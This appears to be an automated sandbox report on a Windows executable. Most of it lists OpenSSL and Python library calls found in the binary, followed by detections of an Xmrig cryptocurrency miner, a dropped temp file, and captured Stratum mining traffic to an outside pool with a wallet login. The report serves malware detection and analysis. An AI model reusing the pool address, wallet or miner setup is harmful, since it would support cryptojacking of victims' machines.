Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2522 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A2522
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1646 EVP_MD_CTX_new,ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get_id,EVP_PKEY_get_id,EVP_PKEY_get_id,EVP_MD_get0_name,EVP_DigestVerifyInit_ex,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,BUF_reverse,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_MD_CTX_ctrl,ERR_new,ERR_set_debug,ERR_new,EVP_DigestVerify,ERR_new,ERR_new,ERR_new,ERR_set_debug,BIO_free,EVP_MD_CTX_free,CRYPTO_free,	1_2_00007FFE004A1646
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004FF660 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004FF660
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B7730 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE004B7730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1087 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,	1_2_00007FFE004A1087
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A25D6 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	1_2_00007FFE004A25D6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A176C CRYPTO_malloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_up_ref,X509_chain_up_ref,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_dup_ex_data,CRYPTO_strdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_memdup,	1_2_00007FFE004A176C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1582 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE004A1582
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B97B0 CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE004B97B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00519790 EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_clear_error,ASN1_item_d2i,ASN1_TYPE_get,ERR_new,ERR_set_debug,EVP_PKEY_decrypt,ERR_new,EVP_PKEY_CTX_ctrl,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,ASN1_item_free,	1_2_00007FFE00519790
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004CD750 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,_time64,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,	1_2_00007FFE004CD750
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A108C ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE004A108C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F7770 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004F7770
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A162C EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,ERR_set_debug,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_DigestSignUpdate,EVP_DigestSignFinal,CRYPTO_malloc,EVP_DigestSignFinal,ERR_new,ERR_new,EVP_DigestSign,ERR_new,CRYPTO_malloc,EVP_DigestSign,BUF_reverse,ERR_new,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_MD_CTX_free,	1_2_00007FFE004A162C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00517820 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_new,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,ERR_new,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE00517820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A11DB EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	1_2_00007FFE004A11DB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A19E7 CRYPTO_free,	1_2_00007FFE004A19E7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004AF7F0 ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,CRYPTO_malloc,CRYPTO_malloc,EVP_PKEY_encapsulate,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,CRYPTO_free,EVP_PKEY_CTX_free,	1_2_00007FFE004AF7F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE005038A0 EVP_MD_CTX_new,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,CRYPTO_malloc,EVP_PKEY_CTX_ctrl,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,	1_2_00007FFE005038A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1846 OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,OPENSSL_sk_push,OPENSSL_sk_num,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_pop_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_value,X509_get0_pubkey,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_shift,OPENSSL_sk_pop_free,ERR_new,ERR_set_debug,	1_2_00007FFE004A1846
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C5870 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004C5870
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00509850 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE00509850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A586A BIO_get_data,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_set_init,BIO_clear_flags,BIO_get_data,BIO_set_shutdown,BIO_push,BIO_set_next,BIO_up_ref,BIO_set_init,	1_2_00007FFE004A586A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1B18 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,OPENSSL_cleanse,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,CRYPTO_memcmp,ERR_new,ERR_new,	1_2_00007FFE004A1B18
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2590 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE004A2590
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1B31 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A1B31
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004FF8F0 CRYPTO_free,CRYPTO_strndup,	1_2_00007FFE004FF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B7980 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_malloc,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,strncmp,CRYPTO_free,CRYPTO_free,OPENSSL_sk_new_null,CRYPTO_free,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_push,OPENSSL_sk_delete,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,CRYPTO_free,OPENSSL_sk_free,	1_2_00007FFE004B7980
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A107D CRYPTO_free,	1_2_00007FFE004A107D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1D84 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004A1D84
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A16 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE004A1A16
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B5A10 OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_sort,	1_2_00007FFE004B5A10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A271B CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE004A271B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A204A CRYPTO_free,CRYPTO_malloc,ERR_new,RAND_bytes_ex,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A204A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C59F0 CRYPTO_free,CRYPTO_free,	1_2_00007FFE004C59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1C53 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE004A1C53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F7A40 CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004F7A40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B5B10 COMP_zlib,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_sort,	1_2_00007FFE004B5B10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00505B10 EVP_CIPHER_CTX_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE00505B10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B3B30 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE004B3B30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A23EC CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A23EC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A13D9 OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_pop_free,	1_2_00007FFE004A13D9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EDAF0 CRYPTO_free,	1_2_00007FFE004EDAF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C5AE0 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004C5AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0050BB70 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE0050BB70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EDB60 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004EDB60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A150F OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_new_reserve,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,X509_VERIFY_PARAM_get_depth,CRYPTO_dup_ex_data,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,	1_2_00007FFE004A150F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1CEE CRYPTO_malloc,memset,memcpy,memcpy,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,OPENSSL_cleanse,	1_2_00007FFE004A1CEE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1361 CRYPTO_malloc,EVP_PKEY_set_type,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_CTX_free,ERR_pop_to_mark,CRYPTO_free,EVP_PKEY_free,	1_2_00007FFE004A1361
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A222A ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,	1_2_00007FFE004A222A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A267B CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE004A267B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A23E7 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004A23E7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A5C53 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_set_init,BIO_set_data,BIO_clear_flags,	1_2_00007FFE004A5C53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1F50 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE004A1F50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1CBC EVP_MD_get_size,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,_time64,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A1CBC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00503D30 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	1_2_00007FFE00503D30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F7CD0 CRYPTO_memcmp,	1_2_00007FFE004F7CD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1F37 CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE004A1F37
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A19DD BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE004A19DD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C5CF0 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,d2i_X509,X509_get0_pubkey,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_free,OPENSSL_sk_new_null,OPENSSL_sk_push,ERR_new,ERR_set_debug,ERR_set_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004C5CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B5D80 CRYPTO_THREAD_run_once,	1_2_00007FFE004B5D80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A15E6 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,memcpy,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A15E6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1CE9 memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A1CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A24E6 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A24E6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A5E80 BIO_get_data,BIO_get_shutdown,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,	1_2_00007FFE004A5E80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A3EB0 CRYPTO_free,	1_2_00007FFE004A3EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A16A4 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A16A4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C1E60 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	1_2_00007FFE004C1E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A236F CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A236F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00519F10 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE00519F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004ADEC0 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004ADEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004BBEC0 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004BBEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1D8E EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,CRYPTO_zalloc,EVP_MAC_CTX_free,EVP_MAC_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_fetch,EVP_MAC_CTX_new,EVP_MAC_free,EVP_CIPHER_CTX_new,EVP_CIPHER_fetch,OSSL_PARAM_construct_utf8_string,OSSL_PARAM_construct_end,EVP_MAC_init,EVP_DecryptInit_ex,EVP_CIPHER_free,EVP_CIPHER_free,EVP_CIPHER_free,EVP_MAC_CTX_get_mac_size,EVP_CIPHER_CTX_get_iv_length,EVP_MAC_final,CRYPTO_memcmp,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,memcpy,ERR_clear_error,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_CTX_free,CRYPTO_free,	1_2_00007FFE004A1D8E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004ADFB2 ERR_set_debug,CRYPTO_free,CRYPTO_strdup,ERR_new,	1_2_00007FFE004ADFB2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2027 CRYPTO_free,	1_2_00007FFE004A2027
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00511F70 CRYPTO_memcmp,	1_2_00007FFE00511F70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1AC3 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE004A1AC3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1EDD CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,_time64,memcpy,EVP_MD_get0_name,EVP_MD_is_a,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A1EDD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004D4000 CRYPTO_realloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004D4000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A103C CRYPTO_malloc,COMP_expand_block,	1_2_00007FFE004A103C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC5218 ASN1_STRING_type,ASN1_STRING_length,ASN1_STRING_get0_data,_Py_BuildValue_SizeT,ASN1_STRING_to_UTF8,_Py_Dealloc,_Py_BuildValue_SizeT,CRYPTO_free,	1_2_00007FFE11EC5218
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC4F60 i2d_X509,PyBytes_FromStringAndSize,CRYPTO_free,	1_2_00007FFE11EC4F60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13246344 CRYPTO_memcmp,	1_2_00007FFE13246344
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132418C0 _Py_NoneStruct,_PyArg_UnpackKeywords,PyObject_GetBuffer,PyBuffer_IsContiguous,PyObject_GetBuffer,PyBuffer_IsContiguous,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,EVP_PBE_scrypt,PyBytes_FromStringAndSize,PyEval_SaveThread,EVP_PBE_scrypt,PyEval_RestoreThread,PyExc_ValueError,PyErr_SetString,PyBuffer_Release,PyBuffer_Release,PyLong_AsLong,PyErr_Occurred,PyLong_AsLong,PyErr_Occurred,PyExc_ValueError,PyExc_ValueError,PyErr_Format,_PyArg_BadArgument,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_OverflowError,PyExc_OverflowError,_Py_Dealloc,PyExc_ValueError,	1_2_00007FFE132418C0

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2484157082.00000218DB15F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp, type: DROPPED

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 149.102.143.109:10128 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"49ejizdeqahvlt3wd4navscmwdrwksykpzuzkulpybbepyocyexddn7sdarvaazp47jdsdvrs3kajfetjfadxknw3vkee6w","pass":"test","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, select.pyd.5.dr, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: file.exe, 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089146083.00007FFDFF3EF000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: file.exe, 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: file.exe, 00000001.00000002.2087157431.00007FFDFAF31000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090364978.00007FFE13247000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000005.00000003.2061099852.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: file.exe, 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmp
